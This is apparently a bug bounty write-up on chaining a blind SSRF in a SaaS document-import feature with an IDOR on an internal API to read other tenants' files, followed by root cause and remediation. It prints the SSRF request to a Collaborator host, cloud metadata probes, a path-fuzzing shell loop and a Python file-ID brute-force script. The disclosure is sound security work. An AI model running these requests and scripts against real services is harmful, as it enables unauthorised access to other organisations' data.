Background

During a private bug bounty programme engagement on a major cloud-hosted SaaS platform, we identified what appeared to be a blind SSRF in a document import feature. Individually it earned a medium severity. What turned it into a $25,000 critical was discovering the internal API endpoint it reached was vulnerable to IDOR.

Disclosure: Coordinated disclosure completed. Vendor has patched. Programme details anonymised per NDA.


Discovery

Phase 1 — Finding the SSRF

The application offered a “Import from URL” feature for importing documents. We tested with a Burp Collaborator URL:

1
2
3
4
5
6
7
8
9
POST /api/v1/documents/import HTTP/1.1
Host: app.target.com
Authorization: Bearer eyJ...
Content-Type: application/json

{
  "url": "https://YOUR-COLLAB.oastify.com/test",
  "format": "pdf"
}

Collaborator received a DNS lookup and HTTP GET — confirming server-side request forgery.

Phase 2 — Probing Internal Services

We pivoted to enumerate internal services via common RFC 1918 ranges and cloud metadata endpoints:

1
2
3
4
5
6
7
http://169.254.169.254/latest/meta-data/         → AWS IMDSv1 blocked
http://169.254.169.254/latest/meta-data/iam/     → blocked
http://100.100.100.200/latest/meta-data/          → Alibaba IMDS — blocked
http://metadata.google.internal/computeMetadata/ → no response

http://localhost:8080/                            → 200 OK (!)
http://localhost:8080/api/internal/health         → 200 OK + JSON

The internal service on port 8080 responded. We began mapping its API:

1
2
3
4
5
6
# Fuzz common API paths via the SSRF
for path in health status users tenants files admin debug; do
  curl -s -X POST https://app.target.com/api/v1/documents/import \
    -H "Authorization: Bearer $TOKEN" \
    -d "{\"url\":\"http://localhost:8080/$path\"}" | jq .
done

The IDOR

http://localhost:8080/api/internal/files/{fileId} returned file metadata:

1
2
3
4
5
6
{
  "fileId": "file_a1b2c3",
  "tenantId": "tenant_AAAA",
  "name": "Q3-financials.xlsx",
  "downloadUrl": "https://s3.internal/..."
}

The fileId parameter was a short, non-random alphanumeric string. We enumerated adjacent IDs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests, string, itertools

base = "https://app.target.com/api/v1/documents/import"
headers = {"Authorization": "Bearer " + TOKEN}

for suffix in itertools.product(string.ascii_lowercase + string.digits, repeat=4):
    file_id = "file_" + "".join(suffix)
    payload = {"url": f"http://localhost:8080/api/internal/files/{file_id}"}
    r = requests.post(base, json=payload, headers=headers)
    data = r.json()
    if data.get("tenantId") and data["tenantId"] != "tenant_AAAA":
        print(f"[CROSS-TENANT] {file_id}{data}")

Within minutes we were reading file metadata belonging to completely different tenants — confirming full horizontal privilege escalation.


Impact Assessment

CapabilityImpact
Read file names & metadata of any tenantHigh — information disclosure
Retrieve pre-signed S3 download URLsCritical — full file content access
Enumerate all tenant file IDsHigh — no rate limiting
No authentication on internal APICritical — auth bypass

Root Cause

1
2
3
External request → app server (authenticated)
                 → internal API (no auth, trusted network assumption)
                 → S3 (pre-signed URL generated for any file ID)

The internal API assumed that anything reaching it had already been authenticated at the perimeter. The SSRF allowed bypassing that assumption entirely.


Remediation

  1. SSRF: Validate and allowlist URL schemes and hosts. Block RFC 1918 ranges and cloud metadata IPs.
  2. IDOR: Enforce tenant-scoped authorisation on internal API endpoints.
  3. File IDs: Use UUIDs (v4) — not sequential/enumerable IDs.
  4. Network: Internal services should still require service-to-service authentication.

References